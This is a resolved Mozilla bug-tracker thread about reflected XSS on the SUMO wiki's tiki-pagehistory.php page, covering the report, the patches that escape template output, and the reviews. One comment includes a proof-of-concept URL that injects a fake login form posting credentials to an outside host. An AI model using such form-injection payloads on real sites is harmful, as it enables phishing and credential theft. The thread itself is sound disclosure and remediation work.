Closed Bug 463056 (WH-1628180) Opened 11 years ago Closed 10 years ago

XSS vulns on tiki-pagehistory.php

Categories

(support.mozilla.org :: Knowledge Base Software, task, critical)

task
Not set
critical

Tracking

(Not tracked)

VERIFIED FIXED

People

(Reporter: reed, Assigned: jsocol)

References

()

Details

(Keywords: wsec-xss, Whiteboard: tiki_test [WH-1628180])

Attachments

(2 files, 1 obsolete file)

Seems like a dupe of bug 463054 if the fix(es) can be generalized.
Alias: WH-1628180
Assignee: nobody → laura
Target Milestone: --- → 0.7.2
The fix for bug 463054 fixed this.  (Same base sanitization lib).  In r19584.
Status: NEW → RESOLVED
Closed: 11 years ago
Keywords: push-needed
Resolution: --- → FIXED
Group: websites-security
Group: websites-security
Keywords: push-needed
Target Milestone: 0.7.2 → 0.8.1
Attachment #355582 - Flags: review? → review?(smirkingsisyphus)
Attachment #355582 - Flags: review?(smirkingsisyphus) → review+
In trunk r21537 branch r21538.
Status: REOPENED → RESOLVED
Closed: 11 years ago11 years ago
Resolution: --- → FIXED
Ah, ok (talking to myself is a sign of mental collapse, according to Infocom, but here goes): to properly check the URLs in comment 3 for the XSS, you have to login and use https:// schemes, since we've enabled HTTPS.

I've since changed the URLs in comment 3 to that on production, and see the page histories (which means I can reproduce the XSS vulns).  However, when I change those to use https://support-stage.mozilla.org/..., I get "Error

Permission denied you cannot browse this page history"

Verified FIXED
Status: RESOLVED → VERIFIED
Whiteboard: tiki_triage
Whiteboard: tiki_triage → tiki_test
Whiteboard: tiki_test → tiki_test [WH-1628180]
Whitehat discovered this vulnerability to be present again.  It looks like we are doing some sanitization of strings (e.g. <script> becomes <sc<x>ript>) but this approach is not effective.  I can insert an entire HTML form into the page.  We will need to implement a more robust defense performs output encoding on all data accepted via URL arguments and then displayed on the page.

Example:
Whitehat tag:
https://support.mozilla.com/tiki-pagehistory.php?locale=en-US&page=Customizing%20Firefox%20with%20add-ons&preview=79%3Cwhscheck%3E


Inserts fake login form into page

https://support.mozilla.com/tiki-pagehistory.php?locale=en-US&page=Customizing%20Firefox%20with%20add-ons&preview=79%3Cform%20method=%22POST%22%20action=%22https://google.com/%22%3EUsername:%20%3Cinput%20type=%22text%22%20name=%22username%22%20size=%2215%22%20/%3E%3Cbr%20/%3EPassword:%20%3Cinput%20type=%22password%22%20name=%22passwort%22%20size=%2215%22%20/%3E%3Cbr%20/%3E%3Cdiv%20align=%22center%22%3E%3Cp%3E%3Cinput%20type=%22submit%22%20value=%22Login%22%20/%3E%3C/p%3E%3C/div%3E%3C/form%3E
Status: VERIFIED → REOPENED
Resolution: FIXED → ---
Assignee: laura → james
Target Milestone: 0.8.1 → 1.5.6
Attached patch escape and restrict (obsolete) — Splinter Review
This correctly escapes everything I could in the page history template--I think, let me know if I missed something--and casts a few remaining query string parameters to integers, which is what they're supposed to be.

Raise your hand if you will be so, so happy when Smarty and this old, busted security crap will be gone!
Attachment #460261 - Flags: review?
Comment on attachment 460261 [details] [diff] [review]
escape and restrict

I'm wondering if line #93 (post patch) should be escaped as well, just in case:
> 93.     {if $info.comment}{$info.comment}{else}&nbsp;{/if}
Same for line 151.

Otherwise I think it's all good.
(In reply to comment #10)
> Comment on attachment 460261 [details] [diff] [review]
> escape and restrict
> 
> I'm wondering if line #93 (post patch) should be escaped as well, just in case:
> > 93.     {if $info.comment}{$info.comment}{else}&nbsp;{/if}
> Same for line 151.

As far as I can tell, that can include HTML. Though it doesn't seem to, in practice, so I can escape it, too. one sec.
Added escaping on the comments, as well.
Attachment #460261 - Attachment is obsolete: true
Attachment #460285 - Flags: review?(paulc)
Attachment #460261 - Flags: review?
Comment on attachment 460285 [details] [diff] [review]
also escapes the comments

Looks good.
Attachment #460285 - Flags: review?(paulc) → review+
r71376
Status: REOPENED → RESOLVED
Closed: 11 years ago10 years ago
Resolution: --- → FIXED
Adding keywords to bugs for metrics, no action required.  Sorry about bugmail spam.
Keywords: wsec-xss
These bugs are all resolved, so I'm removing the security flag from them.
Group: websites-security
You need to log in before you can comment on or make changes to this bug.